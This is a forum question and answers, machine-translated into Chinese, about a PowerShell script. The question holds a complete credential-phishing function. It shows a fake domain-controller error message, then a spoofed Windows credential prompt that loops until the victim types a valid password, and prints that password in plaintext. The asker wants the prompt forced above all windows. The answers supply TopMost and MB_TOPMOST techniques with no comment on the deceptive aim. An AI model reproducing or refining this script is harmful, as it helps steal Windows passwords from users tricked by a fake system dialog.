Question

我希望Powershell中的creds框显示在每个窗口的顶部，就像用户在每个窗口上看到此框一样..............

function Invoke-Prompt {
    [CmdletBinding()]
    Param (
        [Switch] $ProcCreateWait,
        [String] $MsgText = 'Lost contact with the Domain Controller.',
        [String] $IconType = 'Information',         # "None", "Critical", "Question", "Exclamation" , "Information" 
        [String] $Title = 'ERROR - 0xA801B720'
    )
    Add-Type -AssemblyName Microsoft.VisualBasic
    Add-Type -assemblyname System.DirectoryServices.AccountManagement
    $DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)

    if($MsgText -and $($MsgText -ne '')){
        $null = [Microsoft.VisualBasic.Interaction]::MsgBox($MsgText, "OKOnly,MsgBoxSetForeground,SystemModal,$IconType", $Title)
    }

    $c=[System.Security.Principal.WindowsIdentity]::GetCurrent().name
    $credential = $host.ui.PromptForCredential("Credentials Required", "Please enter your user name and password.", $c, "NetBiosUserName")

    if($credential){
           while($DS.ValidateCredentials($c, $credential.GetNetworkCredential().password) -ne $True){
              $credential = $Host.ui.PromptForCredential("Windows Security", "Invalid Credentials, Please try again", "$env:userdomain\$env:username","")
          }
        "[+] Prompted credentials: -> " + $c + ":" + $credential.GetNetworkCredential().password
    }
    else{
        "[!] User closed credential prompt"
    }
}
Invoke-Prompt

Answer 1

您是否调查过：

$Credential = Get-Credential

https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-credential?view=powershell-6

有关定制证书提示的一些示例，请参考示例。

Answer 2

对此。。。

没有像System.Windows.Forms的top属性那样的东西

...您确定吗，因为以下内容会反驳...

Form.TopMost Property

定义命名空间：System.Windows.Forms

程序集：System.Windows.Forms.dll

获取或设置一个值，该值指示是否应显示该表单   作为最高形式。

最努力的其他示例：

PowerShell tricks – Open a dialog as topmost window-的确没有涉及您的TopMost注释，但是，该注释是针对您正在使用的对话框和Windows窗体的。好吧，您在这里发布的内容。如果您需要WinForm / WPF，则需要使用它们。

Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName PresentationFramework

即使没有内置属性也可以将对话框设置为最上面的窗口，可以使用的第二个重载来实现 ShowDialog方法（MSDN：ShowDialog方法）。这种超负荷预期一个指示对话框的父窗口的参数。以来对话框关闭后，将不会使用拥有的窗口可以在方法调用中即时创建新表单：

Add-Type -AssemblyName System.Windows.Forms

$FolderBrowser = New-Object System.Windows.Forms.FolderBrowserDialog
$FolderBrowser.Description = 'Select the folder containing the data'

$result = $FolderBrowser.ShowDialog((New-Object System.Windows.Forms.Form -Property @{TopMost = $true }))

if ($result -eq [Windows.Forms.DialogResult]::OK)
{ $FolderBrowser.SelectedPath }
else { exit }

或者这一个...

Keep Messagebox.show() on top of other application using c#

MessageBox.Show("Message Text", "Header", MessageBoxButtons.OK, MessageBoxIcon.None, 
     MessageBoxDefaultButton.Button1, (MessageBoxOptions)0x40000);  // MB_TOPMOST
The 0x40000 is the "MB_TOPMOST"-Flag.

# Or

MessageBox.Show("Hello there", "Prompt", MessageBoxButtons.OK, MessageBoxIcon.Warning, MessageBoxDefaultButton.Button1, MessageBoxOptions.DefaultDesktopOnly);

C# MessageBox To Front When App is Minimized To Tray

MessageBox.Show(new Form() { TopMost = true }, "You have not inputted a username or password. Would you like to configure your settings now?",
                 "Settings Needed",
                 MessageBoxButtons.YesNo,
                 MessageBoxIcon.Question);

Force MessageBox to be on top of application window in .net/WPF 接受答案并带有43个投票：

Keep Form on Top of All Other Windows

好吧，这是C＃，但是由于PowerShell可以使用.Net，所以仍然值得考虑。

最后，为什么您要说的是，您所展示的不是给您设计的结果？当我在这里测试机智时，它正在至少两个我测试过的系统上工作。

在每个窗口顶部显示凭据框

2 个答案: